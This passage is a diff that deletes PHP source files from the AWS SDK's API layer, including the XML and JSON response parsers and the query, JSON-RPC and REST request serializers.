||||
ResponseInterface $response
|
||||
) {
|
||||
$operation = $this->api->getOperation($command->getName());
|
||||
$result = null === $operation['output']
|
||||
? null
|
||||
: $this->parseMemberFromStream(
|
||||
$response->getBody(),
|
||||
$operation->getOutput(),
|
||||
$response
|
||||
);
|
||||
|
||||
return new Result($result ?: []);
|
||||
}
|
||||
|
||||
public function parseMemberFromStream(
|
||||
StreamInterface $stream,
|
||||
StructureShape $member,
|
||||
$response
|
||||
) {
|
||||
return $this->parser->parse($member, $this->parseJson($stream, $response));
|
||||
}
|
||||
}
|
||||
@@ -1,90 +0,0 @@
|
||||
<?php
|
||||
namespace Aws\Api\Parser;
|
||||
|
||||
use Aws\Api\DateTimeResult;
|
||||
use Aws\Api\Shape;
|
||||
use Psr\Http\Message\ResponseInterface;
|
||||
|
||||
trait MetadataParserTrait
|
||||
{
|
||||
/**
|
||||
* Extract a single header from the response into the result.
|
||||
*/
|
||||
protected function extractHeader(
|
||||
$name,
|
||||
Shape $shape,
|
||||
ResponseInterface $response,
|
||||
&$result
|
||||
) {
|
||||
$value = $response->getHeaderLine($shape['locationName'] ?: $name);
|
||||
|
||||
switch ($shape->getType()) {
|
||||
case 'float':
|
||||
case 'double':
|
||||
$value = (float) $value;
|
||||
break;
|
||||
case 'long':
|
||||
$value = (int) $value;
|
||||
break;
|
||||
case 'boolean':
|
||||
$value = filter_var($value, FILTER_VALIDATE_BOOLEAN);
|
||||
break;
|
||||
case 'blob':
|
||||
$value = base64_decode($value);
|
||||
break;
|
||||
case 'timestamp':
|
||||
try {
|
||||
$value = DateTimeResult::fromTimestamp(
|
||||
$value,
|
||||
!empty($shape['timestampFormat']) ? $shape['timestampFormat'] : null
|
||||
);
|
||||
break;
|
||||
} catch (\Exception $e) {
|
||||
// If the value cannot be parsed, then do not add it to the
|
||||
// output structure.
|
||||
return;
|
||||
}
|
||||
case 'string':
|
||||
if ($shape['jsonvalue']) {
|
||||
$value = $this->parseJson(base64_decode($value), $response);
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
$result[$name] = $value;
|
||||
}
|
||||
|
||||
/**
|
||||
* Extract a map of headers with an optional prefix from the response.
|
||||
*/
|
||||
protected function extractHeaders(
|
||||
$name,
|
||||
Shape $shape,
|
||||
ResponseInterface $response,
|
||||
&$result
|
||||
) {
|
||||
// Check if the headers are prefixed by a location name
|
||||
$result[$name] = [];
|
||||
$prefix = $shape['locationName'];
|
||||
$prefixLen = strlen($prefix);
|
||||
|
||||
foreach ($response->getHeaders() as $k => $values) {
|
||||
if (!$prefixLen) {
|
||||
$result[$name][$k] = implode(', ', $values);
|
||||
} elseif (stripos($k, $prefix) === 0) {
|
||||
$result[$name][substr($k, $prefixLen)] = implode(', ', $values);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Places the status code of the response into the result array.
|
||||
*/
|
||||
protected function extractStatus(
|
||||
$name,
|
||||
ResponseInterface $response,
|
||||
array &$result
|
||||
) {
|
||||
$result[$name] = (int) $response->getStatusCode();
|
||||
}
|
||||
}
|
||||
@@ -1,61 +0,0 @@
|
||||
<?php
|
||||
namespace Aws\Api\Parser;
|
||||
|
||||
use Aws\Api\Parser\Exception\ParserException;
|
||||
use Psr\Http\Message\ResponseInterface;
|
||||
|
||||
trait PayloadParserTrait
|
||||
{
|
||||
/**
|
||||
* @param string $json
|
||||
*
|
||||
* @throws ParserException
|
||||
*
|
||||
* @return array
|
||||
*/
|
||||
private function parseJson($json, $response)
|
||||
{
|
||||
$jsonPayload = json_decode($json, true);
|
||||
|
||||
if (JSON_ERROR_NONE !== json_last_error()) {
|
||||
throw new ParserException(
|
||||
'Error parsing JSON: ' . json_last_error_msg(),
|
||||
0,
|
||||
null,
|
||||
['response' => $response]
|
||||
);
|
||||
}
|
||||
|
||||
return $jsonPayload;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param string $xml
|
||||
*
|
||||
* @throws ParserException
|
||||
*
|
||||
* @return \SimpleXMLElement
|
||||
*/
|
||||
protected function parseXml($xml, $response)
|
||||
{
|
||||
$priorSetting = libxml_use_internal_errors(true);
|
||||
try {
|
||||
libxml_clear_errors();
|
||||
$xmlPayload = new \SimpleXMLElement($xml);
|
||||
if ($error = libxml_get_last_error()) {
|
||||
throw new \RuntimeException($error->message);
|
||||
}
|
||||
} catch (\Exception $e) {
|
||||
throw new ParserException(
|
||||
"Error parsing XML: {$e->getMessage()}",
|
||||
0,
|
||||
$e,
|
||||
['response' => $response]
|
||||
);
|
||||
} finally {
|
||||
libxml_use_internal_errors($priorSetting);
|
||||
}
|
||||
|
||||
return $xmlPayload;
|
||||
}
|
||||
}
|
||||
@@ -1,60 +0,0 @@
|
||||
<?php
|
||||
namespace Aws\Api\Parser;
|
||||
|
||||
use Aws\Api\Service;
|
||||
use Aws\Api\StructureShape;
|
||||
use Aws\Result;
|
||||
use Aws\CommandInterface;
|
||||
use Psr\Http\Message\ResponseInterface;
|
||||
use Psr\Http\Message\StreamInterface;
|
||||
|
||||
/**
|
||||
* @internal Parses query (XML) responses (e.g., EC2, SQS, and many others)
|
||||
*/
|
||||
class QueryParser extends AbstractParser
|
||||
{
|
||||
use PayloadParserTrait;
|
||||
|
||||
/** @var bool */
|
||||
private $honorResultWrapper;
|
||||
|
||||
/**
|
||||
* @param Service $api Service description
|
||||
* @param XmlParser $xmlParser Optional XML parser
|
||||
* @param bool $honorResultWrapper Set to false to disable the peeling
|
||||
* back of result wrappers from the
|
||||
* output structure.
|
||||
*/
|
||||
public function __construct(
|
||||
Service $api,
|
||||
XmlParser $xmlParser = null,
|
||||
$honorResultWrapper = true
|
||||
) {
|
||||
parent::__construct($api);
|
||||
$this->parser = $xmlParser ?: new XmlParser();
|
||||
$this->honorResultWrapper = $honorResultWrapper;
|
||||
}
|
||||
|
||||
public function __invoke(
|
||||
CommandInterface $command,
|
||||
ResponseInterface $response
|
||||
) {
|
||||
$output = $this->api->getOperation($command->getName())->getOutput();
|
||||
$xml = $this->parseXml($response->getBody(), $response);
|
||||
|
||||
if ($this->honorResultWrapper && $output['resultWrapper']) {
|
||||
$xml = $xml->{$output['resultWrapper']};
|
||||
}
|
||||
|
||||
return new Result($this->parser->parse($output, $xml));
|
||||
}
|
||||
|
||||
public function parseMemberFromStream(
|
||||
StreamInterface $stream,
|
||||
StructureShape $member,
|
||||
$response
|
||||
) {
|
||||
$xml = $this->parseXml($stream, $response);
|
||||
return $this->parser->parse($member, $xml);
|
||||
}
|
||||
}
|
||||
@@ -1,49 +0,0 @@
|
||||
<?php
|
||||
namespace Aws\Api\Parser;
|
||||
|
||||
use Aws\Api\Service;
|
||||
use Aws\Api\StructureShape;
|
||||
use Psr\Http\Message\ResponseInterface;
|
||||
use Psr\Http\Message\StreamInterface;
|
||||
|
||||
/**
|
||||
* @internal Implements REST-JSON parsing (e.g., Glacier, Elastic Transcoder)
|
||||
*/
|
||||
class RestJsonParser extends AbstractRestParser
|
||||
{
|
||||
use PayloadParserTrait;
|
||||
|
||||
/**
|
||||
* @param Service $api Service description
|
||||
* @param JsonParser $parser JSON body builder
|
||||
*/
|
||||
public function __construct(Service $api, JsonParser $parser = null)
|
||||
{
|
||||
parent::__construct($api);
|
||||
$this->parser = $parser ?: new JsonParser();
|
||||
}
|
||||
|
||||
protected function payload(
|
||||
ResponseInterface $response,
|
||||
StructureShape $member,
|
||||
array &$result
|
||||
) {
|
||||
$jsonBody = $this->parseJson($response->getBody(), $response);
|
||||
|
||||
if ($jsonBody) {
|
||||
$result += $this->parser->parse($member, $jsonBody);
|
||||
}
|
||||
}
|
||||
|
||||
public function parseMemberFromStream(
|
||||
StreamInterface $stream,
|
||||
StructureShape $member,
|
||||
$response
|
||||
) {
|
||||
$jsonBody = $this->parseJson($stream, $response);
|
||||
if ($jsonBody) {
|
||||
return $this->parser->parse($member, $jsonBody);
|
||||
}
|
||||
return [];
|
||||
}
|
||||
}
|
||||
@@ -1,42 +0,0 @@
|
||||
<?php
|
||||
namespace Aws\Api\Parser;
|
||||
|
||||
use Aws\Api\StructureShape;
|
||||
use Aws\Api\Service;
|
||||
use Psr\Http\Message\ResponseInterface;
|
||||
use Psr\Http\Message\StreamInterface;
|
||||
|
||||
/**
|
||||
* @internal Implements REST-XML parsing (e.g., S3, CloudFront, etc...)
|
||||
*/
|
||||
class RestXmlParser extends AbstractRestParser
|
||||
{
|
||||
use PayloadParserTrait;
|
||||
|
||||
/**
|
||||
* @param Service $api Service description
|
||||
* @param XmlParser $parser XML body parser
|
||||
*/
|
||||
public function __construct(Service $api, XmlParser $parser = null)
|
||||
{
|
||||
parent::__construct($api);
|
||||
$this->parser = $parser ?: new XmlParser();
|
||||
}
|
||||
|
||||
protected function payload(
|
||||
ResponseInterface $response,
|
||||
StructureShape $member,
|
||||
array &$result
|
||||
) {
|
||||
$result += $this->parseMemberFromStream($response->getBody(), $member, $response);
|
||||
}
|
||||
|
||||
public function parseMemberFromStream(
|
||||
StreamInterface $stream,
|
||||
StructureShape $member,
|
||||
$response
|
||||
) {
|
||||
$xml = $this->parseXml($stream, $response);
|
||||
return $this->parser->parse($member, $xml);
|
||||
}
|
||||
}
|
||||
@@ -1,171 +0,0 @@
|
||||
<?php
|
||||
namespace Aws\Api\Parser;
|
||||
|
||||
use Aws\Api\DateTimeResult;
|
||||
use Aws\Api\ListShape;
|
||||
use Aws\Api\MapShape;
|
||||
use Aws\Api\Parser\Exception\ParserException;
|
||||
use Aws\Api\Shape;
|
||||
use Aws\Api\StructureShape;
|
||||
|
||||
/**
|
||||
* @internal Implements standard XML parsing for REST-XML and Query protocols.
|
||||
*/
|
||||
class XmlParser
|
||||
{
|
||||
public function parse(StructureShape $shape, \SimpleXMLElement $value)
|
||||
{
|
||||
return $this->dispatch($shape, $value);
|
||||
}
|
||||
|
||||
private function dispatch($shape, \SimpleXMLElement $value)
|
||||
{
|
||||
static $methods = [
|
||||
'structure' => 'parse_structure',
|
||||
'list' => 'parse_list',
|
||||
'map' => 'parse_map',
|
||||
'blob' => 'parse_blob',
|
||||
'boolean' => 'parse_boolean',
|
||||
'integer' => 'parse_integer',
|
||||
'float' => 'parse_float',
|
||||
'double' => 'parse_float',
|
||||
'timestamp' => 'parse_timestamp',
|
||||
];
|
||||
|
||||
$type = $shape['type'];
|
||||
if (isset($methods[$type])) {
|
||||
return $this->{$methods[$type]}($shape, $value);
|
||||
}
|
||||
|
||||
return (string) $value;
|
||||
}
|
||||
|
||||
private function parse_structure(
|
||||
StructureShape $shape,
|
||||
\SimpleXMLElement $value
|
||||
) {
|
||||
$target = [];
|
||||
|
||||
foreach ($shape->getMembers() as $name => $member) {
|
||||
// Extract the name of the XML node
|
||||
$node = $this->memberKey($member, $name);
|
||||
if (isset($value->{$node})) {
|
||||
$target[$name] = $this->dispatch($member, $value->{$node});
|
||||
} else {
|
||||
$memberShape = $shape->getMember($name);
|
||||
if (!empty($memberShape['xmlAttribute'])) {
|
||||
$target[$name] = $this->parse_xml_attribute(
|
||||
$shape,
|
||||
$memberShape,
|
||||
$value
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return $target;
|
||||
}
|
||||
|
||||
private function memberKey(Shape $shape, $name)
|
||||
{
|
||||
if (null !== $shape['locationName']) {
|
||||
return $shape['locationName'];
|
||||
}
|
||||
|
||||
if ($shape instanceof ListShape && $shape['flattened']) {
|
||||
return $shape->getMember()['locationName'] ?: $name;
|
||||
}
|
||||
|
||||
return $name;
|
||||
}
|
||||
|
||||
private function parse_list(ListShape $shape, \SimpleXMLElement $value)
|
||||
{
|
||||
$target = [];
|
||||
$member = $shape->getMember();
|
||||
|
||||
if (!$shape['flattened']) {
|
||||
$value = $value->{$member['locationName'] ?: 'member'};
|
||||
}
|
||||
|
||||
foreach ($value as $v) {
|
||||
$target[] = $this->dispatch($member, $v);
|
||||
}
|
||||
|
||||
return $target;
|
||||
}
|
||||
|
||||
private function parse_map(MapShape $shape, \SimpleXMLElement $value)
|
||||
{
|
||||
$target = [];
|
||||
|
||||
if (!$shape['flattened']) {
|
||||
$value = $value->entry;
|
||||
}
|
||||
|
||||
$mapKey = $shape->getKey();
|
||||
$mapValue = $shape->getValue();
|
||||
$keyName = $shape->getKey()['locationName'] ?: 'key';
|
||||
$valueName = $shape->getValue()['locationName'] ?: 'value';
|
||||
|
||||
foreach ($value as $node) {
|
||||
$key = $this->dispatch($mapKey, $node->{$keyName});
|
||||
$value = $this->dispatch($mapValue, $node->{$valueName});
|
||||
$target[$key] = $value;
|
||||
}
|
||||
|
||||
return $target;
|
||||
}
|
||||
|
||||
private function parse_blob(Shape $shape, $value)
|
||||
{
|
||||
return base64_decode((string) $value);
|
||||
}
|
||||
|
||||
private function parse_float(Shape $shape, $value)
|
||||
{
|
||||
return (float) (string) $value;
|
||||
}
|
||||
|
||||
private function parse_integer(Shape $shape, $value)
|
||||
{
|
||||
return (int) (string) $value;
|
||||
}
|
||||
|
||||
private function parse_boolean(Shape $shape, $value)
|
||||
{
|
||||
return $value == 'true';
|
||||
}
|
||||
|
||||
private function parse_timestamp(Shape $shape, $value)
|
||||
{
|
||||
if (is_string($value)
|
||||
|| is_int($value)
|
||||
|| (is_object($value)
|
||||
&& method_exists($value, '__toString'))
|
||||
) {
|
||||
return DateTimeResult::fromTimestamp(
|
||||
(string) $value,
|
||||
!empty($shape['timestampFormat']) ? $shape['timestampFormat'] : null
|
||||
);
|
||||
}
|
||||
throw new ParserException('Invalid timestamp value passed to XmlParser::parse_timestamp');
|
||||
}
|
||||
|
||||
private function parse_xml_attribute(Shape $shape, Shape $memberShape, $value)
|
||||
{
|
||||
$namespace = $shape['xmlNamespace']['uri']
|
||||
? $shape['xmlNamespace']['uri']
|
||||
: '';
|
||||
$prefix = $shape['xmlNamespace']['prefix']
|
||||
? $shape['xmlNamespace']['prefix']
|
||||
: '';
|
||||
if (!empty($prefix)) {
|
||||
$prefix .= ':';
|
||||
}
|
||||
$key = str_replace($prefix, '', $memberShape['locationName']);
|
||||
|
||||
$attributes = $value->attributes($namespace);
|
||||
return isset($attributes[$key]) ? (string) $attributes[$key] : null;
|
||||
}
|
||||
}
|
||||
@@ -1,40 +0,0 @@
|
||||
<?php
|
||||
namespace Aws\Api\Serializer;
|
||||
|
||||
use Aws\Api\Shape;
|
||||
use Aws\Api\ListShape;
|
||||
|
||||
/**
|
||||
* @internal
|
||||
*/
|
||||
class Ec2ParamBuilder extends QueryParamBuilder
|
||||
{
|
||||
protected function queryName(Shape $shape, $default = null)
|
||||
{
|
||||
return ($shape['queryName']
|
||||
?: ucfirst($shape['locationName']))
|
||||
?: $default;
|
||||
}
|
||||
|
||||
protected function isFlat(Shape $shape)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
protected function format_list(
|
||||
ListShape $shape,
|
||||
array $value,
|
||||
$prefix,
|
||||
&$query
|
||||
) {
|
||||
// Handle empty list serialization
|
||||
if (!$value) {
|
||||
$query[$prefix] = false;
|
||||
} else {
|
||||
$items = $shape->getMember();
|
||||
foreach ($value as $k => $v) {
|
||||
$this->format($items, $v, $prefix . '.' . ($k + 1), $query);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,96 +0,0 @@
|
||||
<?php
|
||||
namespace Aws\Api\Serializer;
|
||||
|
||||
use Aws\Api\Service;
|
||||
use Aws\Api\Shape;
|
||||
use Aws\Api\TimestampShape;
|
||||
|
||||
/**
|
||||
* Formats the JSON body of a JSON-REST or JSON-RPC operation.
|
||||
* @internal
|
||||
*/
|
||||
class JsonBody
|
||||
{
|
||||
private $api;
|
||||
|
||||
public function __construct(Service $api)
|
||||
{
|
||||
$this->api = $api;
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the JSON Content-Type header for a service API
|
||||
*
|
||||
* @param Service $service
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
public static function getContentType(Service $service)
|
||||
{
|
||||
return 'application/x-amz-json-'
|
||||
. number_format($service->getMetadata('jsonVersion'), 1);
|
||||
}
|
||||
|
||||
/**
|
||||
* Builds the JSON body based on an array of arguments.
|
||||
*
|
||||
* @param Shape $shape Operation being constructed
|
||||
* @param array $args Associative array of arguments
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
public function build(Shape $shape, array $args)
|
||||
{
|
||||
$result = json_encode($this->format($shape, $args));
|
||||
|
||||
return $result == '[]' ? '{}' : $result;
|
||||
}
|
||||
|
||||
private function format(Shape $shape, $value)
|
||||
{
|
||||
switch ($shape['type']) {
|
||||
case 'structure':
|
||||
$data = [];
|
||||
foreach ($value as $k => $v) {
|
||||
if ($v !== null && $shape->hasMember($k)) {
|
||||
$valueShape = $shape->getMember($k);
|
||||
$data[$valueShape['locationName'] ?: $k]
|
||||
= $this->format($valueShape, $v);
|
||||
}
|
||||
}
|
||||
if (empty($data)) {
|
||||
return new \stdClass;
|
||||
}
|
||||
return $data;
|
||||
|
||||
case 'list':
|
||||
$items = $shape->getMember();
|
||||
foreach ($value as $k => $v) {
|
||||
$value[$k] = $this->format($items, $v);
|
||||
}
|
||||
return $value;
|
||||
|
||||
case 'map':
|
||||
if (empty($value)) {
|
||||
return new \stdClass;
|
||||
}
|
||||
$values = $shape->getValue();
|
||||
foreach ($value as $k => $v) {
|
||||
$value[$k] = $this->format($values, $v);
|
||||
}
|
||||
return $value;
|
||||
|
||||
case 'blob':
|
||||
return base64_encode($value);
|
||||
|
||||
case 'timestamp':
|
||||
$timestampFormat = !empty($shape['timestampFormat'])
|
||||
? $shape['timestampFormat']
|
||||
: 'unixTimestamp';
|
||||
return TimestampShape::format($value, $timestampFormat);
|
||||
|
||||
default:
|
||||
return $value;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,69 +0,0 @@
|
||||
<?php
|
||||
namespace Aws\Api\Serializer;
|
||||
|
||||
use Aws\Api\Service;
|
||||
use Aws\CommandInterface;
|
||||
use GuzzleHttp\Psr7\Request;
|
||||
use Psr\Http\Message\RequestInterface;
|
||||
|
||||
/**
|
||||
* Prepares a JSON-RPC request for transfer.
|
||||
* @internal
|
||||
*/
|
||||
class JsonRpcSerializer
|
||||
{
|
||||
/** @var JsonBody */
|
||||
private $jsonFormatter;
|
||||
|
||||
/** @var string */
|
||||
private $endpoint;
|
||||
|
||||
/** @var Service */
|
||||
private $api;
|
||||
|
||||
/** @var string */
|
||||
private $contentType;
|
||||
|
||||
/**
|
||||
* @param Service $api Service description
|
||||
* @param string $endpoint Endpoint to connect to
|
||||
* @param JsonBody $jsonFormatter Optional JSON formatter to use
|
||||
*/
|
||||
public function __construct(
|
||||
Service $api,
|
||||
$endpoint,
|
||||
JsonBody $jsonFormatter = null
|
||||
) {
|
||||
$this->endpoint = $endpoint;
|
||||
$this->api = $api;
|
||||
$this->jsonFormatter = $jsonFormatter ?: new JsonBody($this->api);
|
||||
$this->contentType = JsonBody::getContentType($api);
|
||||
}
|
||||
|
||||
/**
|
||||
* When invoked with an AWS command, returns a serialization array
|
||||
* containing "method", "uri", "headers", and "body" key value pairs.
|
||||
*
|
||||
* @param CommandInterface $command
|
||||
*
|
||||
* @return RequestInterface
|
||||
*/
|
||||
public function __invoke(CommandInterface $command)
|
||||
{
|
||||
$name = $command->getName();
|
||||
$operation = $this->api->getOperation($name);
|
||||
|
||||
return new Request(
|
||||
$operation['http']['method'],
|
||||
$this->endpoint,
|
||||
[
|
||||
'X-Amz-Target' => $this->api->getMetadata('targetPrefix') . '.' . $name,
|
||||
'Content-Type' => $this->contentType
|
||||
],
|
||||
$this->jsonFormatter->build(
|
||||
$operation->getInput(),
|
||||
$command->toArray()
|
||||
)
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -1,157 +0,0 @@
|
||||
<?php
|
||||
namespace Aws\Api\Serializer;
|
||||
|
||||
use Aws\Api\StructureShape;
|
||||
use Aws\Api\ListShape;
|
||||
use Aws\Api\MapShape;
|
||||
use Aws\Api\Shape;
|
||||
use Aws\Api\TimestampShape;
|
||||
|
||||
/**
|
||||
* @internal
|
||||
*/
|
||||
class QueryParamBuilder
|
||||
{
|
||||
private $methods;
|
||||
|
||||
protected function queryName(Shape $shape, $default = null)
|
||||
{
|
||||
if (null !== $shape['queryName']) {
|
||||
return $shape['queryName'];
|
||||
}
|
||||
|
||||
if (null !== $shape['locationName']) {
|
||||
return $shape['locationName'];
|
||||
}
|
||||
|
||||
if ($this->isFlat($shape) && !empty($shape['member']['locationName'])) {
|
||||
return $shape['member']['locationName'];
|
||||
}
|
||||
|
||||
return $default;
|
||||
}
|
||||
|
||||
protected function isFlat(Shape $shape)
|
||||
{
|
||||
return $shape['flattened'] === true;
|
||||
}
|
||||
|
||||
public function __invoke(StructureShape $shape, array $params)
|
||||
{
|
||||
if (!$this->methods) {
|
||||
$this->methods = array_fill_keys(get_class_methods($this), true);
|
||||
}
|
||||
|
||||
$query = [];
|
||||
$this->format_structure($shape, $params, '', $query);
|
||||
|
||||
return $query;
|
||||
}
|
||||
|
||||
protected function format(Shape $shape, $value, $prefix, array &$query)
|
||||
{
|
||||
$type = 'format_' . $shape['type'];
|
||||
if (isset($this->methods[$type])) {
|
||||
$this->{$type}($shape, $value, $prefix, $query);
|
||||
} else {
|
||||
$query[$prefix] = (string) $value;
|
||||
}
|
||||
}
|
||||
|
||||
protected function format_structure(
|
||||
StructureShape $shape,
|
||||
array $value,
|
||||
$prefix,
|
||||
&$query
|
||||
) {
|
||||
if ($prefix) {
|
||||
$prefix .= '.';
|
||||
}
|
||||
|
||||
foreach ($value as $k => $v) {
|
||||
if ($shape->hasMember($k)) {
|
||||
$member = $shape->getMember($k);
|
||||
$this->format(
|
||||
$member,
|
||||
$v,
|
||||
$prefix . $this->queryName($member, $k),
|
||||
$query
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
protected function format_list(
|
||||
ListShape $shape,
|
||||
array $value,
|
||||
$prefix,
|
||||
&$query
|
||||
) {
|
||||
// Handle empty list serialization
|
||||
if (!$value) {
|
||||
$query[$prefix] = '';
|
||||
return;
|
||||
}
|
||||
|
||||
$items = $shape->getMember();
|
||||
|
||||
if (!$this->isFlat($shape)) {
|
||||
$locationName = $shape->getMember()['locationName'] ?: 'member';
|
||||
$prefix .= ".$locationName";
|
||||
} elseif ($name = $this->queryName($items)) {
|
||||
$parts = explode('.', $prefix);
|
||||
$parts[count($parts) - 1] = $name;
|
||||
$prefix = implode('.', $parts);
|
||||
}
|
||||
|
||||
foreach ($value as $k => $v) {
|
||||
$this->format($items, $v, $prefix . '.' . ($k + 1), $query);
|
||||
}
|
||||
}
|
||||
|
||||
protected function format_map(
|
||||
MapShape $shape,
|
||||
array $value,
|
||||
$prefix,
|
||||
array &$query
|
||||
) {
|
||||
$vals = $shape->getValue();
|
||||
$keys = $shape->getKey();
|
||||
|
||||
if (!$this->isFlat($shape)) {
|
||||
$prefix .= '.entry';
|
||||
}
|
||||
|
||||
$i = 0;
|
||||
$keyName = '%s.%d.' . $this->queryName($keys, 'key');
|
||||
$valueName = '%s.%s.' . $this->queryName($vals, 'value');
|
||||
|
||||
foreach ($value as $k => $v) {
|
||||
$i++;
|
||||
$this->format($keys, $k, sprintf($keyName, $prefix, $i), $query);
|
||||
$this->format($vals, $v, sprintf($valueName, $prefix, $i), $query);
|
||||
}
|
||||
}
|
||||
|
||||
protected function format_blob(Shape $shape, $value, $prefix, array &$query)
|
||||
{
|
||||
$query[$prefix] = base64_encode($value);
|
||||
}
|
||||
|
||||
protected function format_timestamp(
|
||||
TimestampShape $shape,
|
||||
$value,
|
||||
$prefix,
|
||||
array &$query
|
||||
) {
|
||||
$timestampFormat = !empty($shape['timestampFormat'])
|
||||
? $shape['timestampFormat']
|
||||
: 'iso8601';
|
||||
$query[$prefix] = TimestampShape::format($value, $timestampFormat);
|
||||
}
|
||||
|
||||
protected function format_boolean(Shape $shape, $value, $prefix, array &$query)
|
||||
{
|
||||
$query[$prefix] = ($value) ? 'true' : 'false';
|
||||
}
|
||||
}
|
||||
@@ -1,69 +0,0 @@
|
||||
<?php
|
||||
namespace Aws\Api\Serializer;
|
||||
|
||||
use Aws\Api\Service;
|
||||
use Aws\CommandInterface;
|
||||
use GuzzleHttp\Psr7\Request;
|
||||
use Psr\Http\Message\RequestInterface;
|
||||
|
||||
/**
|
||||
* Serializes a query protocol request.
|
||||
* @internal
|
||||
*/
|
||||
class QuerySerializer
|
||||
{
|
||||
private $endpoint;
|
||||
private $api;
|
||||
private $paramBuilder;
|
||||
|
||||
public function __construct(
|
||||
Service $api,
|
||||
$endpoint,
|
||||
callable $paramBuilder = null
|
||||
) {
|
||||
$this->api = $api;
|
||||
$this->endpoint = $endpoint;
|
||||
$this->paramBuilder = $paramBuilder ?: new QueryParamBuilder();
|
||||
}
|
||||
|
||||
/**
|
||||
* When invoked with an AWS command, returns a serialization array
|
||||
* containing "method", "uri", "headers", and "body" key value pairs.
|
||||
*
|
||||
* @param CommandInterface $command
|
||||
*
|
||||
* @return RequestInterface
|
||||
*/
|
||||
public function __invoke(CommandInterface $command)
|
||||
{
|
||||
$operation = $this->api->getOperation($command->getName());
|
||||
|
||||
$body = [
|
||||
'Action' => $command->getName(),
|
||||
'Version' => $this->api->getMetadata('apiVersion')
|
||||
];
|
||||
|
||||
$params = $command->toArray();
|
||||
|
||||
// Only build up the parameters when there are parameters to build
|
||||
if ($params) {
|
||||
$body += call_user_func(
|
||||
$this->paramBuilder,
|
||||
$operation->getInput(),
|
||||
$params
|
||||
);
|
||||
}
|
||||
|
||||
$body = http_build_query($body, null, '&', PHP_QUERY_RFC3986);
|
||||
|
||||
return new Request(
|
||||
'POST',
|
||||
$this->endpoint,
|
||||
[
|
||||
'Content-Length' => strlen($body),
|
||||
'Content-Type' => 'application/x-www-form-urlencoded'
|
||||
],
|
||||
$body
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -1,39 +0,0 @@
|
||||
<?php
|
||||
namespace Aws\Api\Serializer;
|
||||
|
||||
use Aws\Api\Service;
|
||||
use Aws\Api\StructureShape;
|
||||
|
||||
/**
|
||||
* Serializes requests for the REST-JSON protocol.
|
||||
* @internal
|
||||
*/
|
||||
class RestJsonSerializer extends RestSerializer
|
||||
{
|
||||
/** @var JsonBody */
|
||||
private $jsonFormatter;
|
||||
|
||||
/** @var string */
|
||||
private $contentType;
|
||||
|
||||
/**
|
||||
* @param Service $api Service API description
|
||||
* @param string $endpoint Endpoint to connect to
|
||||
* @param JsonBody $jsonFormatter Optional JSON formatter to use
|
||||
*/
|
||||
public function __construct(
|
||||
Service $api,
|
||||
$endpoint,
|
||||
JsonBody $jsonFormatter = null
|
||||
) {
|
||||
parent::__construct($api, $endpoint);
|
||||
$this->contentType = 'application/json';
|
||||
$this->jsonFormatter = $jsonFormatter ?: new JsonBody($api);
|
||||
}
|
||||
|
||||
protected function payload(StructureShape $member, array $value, array &$opts)
|
||||
{
|
||||
$opts['headers']['Content-Type'] = $this->contentType;
|
||||
$opts['body'] = (string) $this->jsonFormatter->build($member, $value);
|
||||
}
|
||||
}
|
||||
@@ -1,225 +0,0 @@
|
||||
<?php
|
||||
namespace Aws\Api\Serializer;
|
||||
|
||||
use Aws\Api\MapShape;
|
||||
use Aws\Api\Service;
|
||||
use Aws\Api\Operation;
|
||||
use Aws\Api\Shape;
|
||||
use Aws\Api\StructureShape;
|
||||
use Aws\Api\TimestampShape;
|
||||
use Aws\CommandInterface;
|
||||
use GuzzleHttp\Psr7;
|
||||
use GuzzleHttp\Psr7\Uri;
|
||||
use GuzzleHttp\Psr7\UriResolver;
|
||||
use Psr\Http\Message\RequestInterface;
|
||||
|
||||
/**
|
||||
* Serializes HTTP locations like header, uri, payload, etc...
|
||||
* @internal
|
||||
*/
|
||||
abstract class RestSerializer
|
||||
{
|
||||
/** @var Service */
|
||||
private $api;
|
||||
|
||||
/** @var Psr7\Uri */
|
||||
private $endpoint;
|
||||
|
||||
/**
|
||||
* @param Service $api Service API description
|
||||
* @param string $endpoint Endpoint to connect to
|
||||
*/
|
||||
public function __construct(Service $api, $endpoint)
|
||||
{
|
||||
$this->api = $api;
|
||||
$this->endpoint = Psr7\uri_for($endpoint);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param CommandInterface $command Command to serialized
|
||||
*
|
||||
* @return RequestInterface
|
||||
*/
|
||||
public function __invoke(CommandInterface $command)
|
||||
{
|
||||
$operation = $this->api->getOperation($command->getName());
|
||||
$args = $command->toArray();
|
||||
$opts = $this->serialize($operation, $args);
|
||||
$uri = $this->buildEndpoint($operation, $args, $opts);
|
||||
|
||||
return new Psr7\Request(
|
||||
$operation['http']['method'],
|
||||
$uri,
|
||||
isset($opts['headers']) ? $opts['headers'] : [],
|
||||
isset($opts['body']) ? $opts['body'] : null
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Modifies a hash of request options for a payload body.
|
||||
*
|
||||
* @param StructureShape $member Member to serialize
|
||||
* @param array $value Value to serialize
|
||||
* @param array $opts Request options to modify.
|
||||
*/
|
||||
abstract protected function payload(
|
||||
StructureShape $member,
|
||||
array $value,
|
||||
array &$opts
|
||||
);
|
||||
|
||||
private function serialize(Operation $operation, array $args)
|
||||
{
|
||||
$opts = [];
|
||||
$input = $operation->getInput();
|
||||
|
||||
// Apply the payload trait if present
|
||||
if ($payload = $input['payload']) {
|
||||
$this->applyPayload($input, $payload, $args, $opts);
|
||||
}
|
||||
|
||||
foreach ($args as $name => $value) {
|
||||
if ($input->hasMember($name)) {
|
||||
$member = $input->getMember($name);
|
||||
$location = $member['location'];
|
||||
if (!$payload && !$location) {
|
||||
$bodyMembers[$name] = $value;
|
||||
} elseif ($location == 'header') {
|
||||
$this->applyHeader($name, $member, $value, $opts);
|
||||
